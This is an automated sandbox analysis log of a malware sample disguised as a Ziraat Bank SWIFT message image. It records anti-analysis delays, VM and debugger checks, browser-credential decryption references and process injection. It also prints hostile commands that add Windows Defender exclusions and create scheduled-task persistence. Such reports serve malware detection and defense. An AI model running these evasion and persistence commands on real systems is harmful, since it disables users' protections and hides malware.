              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595438
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595313
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595194
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595078
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594969
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594860
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594750
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594641
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594516
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594391
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594282
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 600000
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599874
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599765
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599655
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599546
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599436
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599327
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599218
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599109
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599000
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598890
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598781
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598671
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598562
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598453
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598343
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598234
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598124
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598015
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597906
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597796
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597687
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597578
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597468
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597359
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597249
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597140
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597031
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596918
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596812
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596703
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596593
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596484
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596374
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596233
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596125
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596015
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595905
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595797
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595684
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595490
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595359
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595246
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595140
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595031
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594921
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594812
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594703
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594593
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594484
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594375
              Source: Native_snake01.exe, 0000000A.00000002.2949665115.0000000000757000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll.Ser
              Source: BZTCUCKTKd.exe, 0000000F.00000002.1774903532.0000000001324000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _VMware_ '5
              Source: Native_New-Nova.exe, 00000010.00000002.2947718476.000000000058E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(
              Source: Native_New-Nova.exe, 00000009.00000002.2948783116.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2951107114.000000000066E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeAPI call chain: ExitProcess graph end nodegraph_9-51218
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAPI call chain: ExitProcess graph end nodegraph_10-129378
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF0040 LdrInitializeThunk,LdrInitializeThunk,9_2_05DF0040
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,9_2_0040CE09
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,KiUserExceptionDispatcher,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,9_2_004019F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,KiUserExceptionDispatcher,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,9_2_004019F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0040ADB0 GetProcessHeap,HeapFree,9_2_0040ADB0
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess token adjusted: Debug
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_00401475 EntryPoint,memset,SetUnhandledExceptionFilter,__set_app_type,_controlfp,__argc,__argv,_environ,_environ,__argv,__getmainargs,__argc,__argv,_environ,__argc,__argc,exit,8_2_00401475
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,9_2_0040CE09
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,9_2_0040E61C
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,9_2_00416F6A
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004123F1 SetUnhandledExceptionFilter,9_2_004123F1
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_0040CE09
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_0040E61C
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_00416F6A
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_004123F1 SetUnhandledExceptionFilter,10_2_004123F1
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory allocated: page read and write | page guardJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              .NET source code references suspicious native API functions
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, UltraSpeed.csReference to suspicious API methods: MapVirtualKey(VKCode, 0u)
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, FFDecryptor.csReference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, FFDecryptor.csReference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))
              Adds a directory exclusion to Windows Defender
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe"
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe"Jump to behavior
              Injects a PE file into a foreign processes
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory written: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe base: 400000 value starts with: 4D5AJump to behavior
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMemory written: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe base: 400000 value starts with: 4D5A
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe "C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe" Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_snake01.exe "C:\Users\user\AppData\Local\Temp\Native_snake01.exe" Jump to behavior
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmpAE63.tmp"
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe"
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe "C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe"
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_snake01.exe "C:\Users\user\AppData\Local\Temp\Native_snake01.exe"
              Source: Native_snake01.exe, 00000011.00000002.2957921883.000000000271C000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002836000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLRdq
              Source: Native_snake01.exe, 00000011.00000002.2957921883.0000000002836000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLRdq{
              Source: Native_snake01.exe, 00000011.00000002.2957921883.000000000271C000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002836000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager
              Source: Native_snake01.exe, 00000011.00000002.2957921883.000000000271C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLRdqh
              Source: Native_snake01.exe, 00000011.00000002.2957921883.000000000271C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLRdql
              Source: Native_snake01.exe, 00000011.00000002.2957921883.0000000002836000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLRdqp
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: GetLocaleInfoA,9_2_00417A20
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: GetLocaleInfoA,10_2_00417A20
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
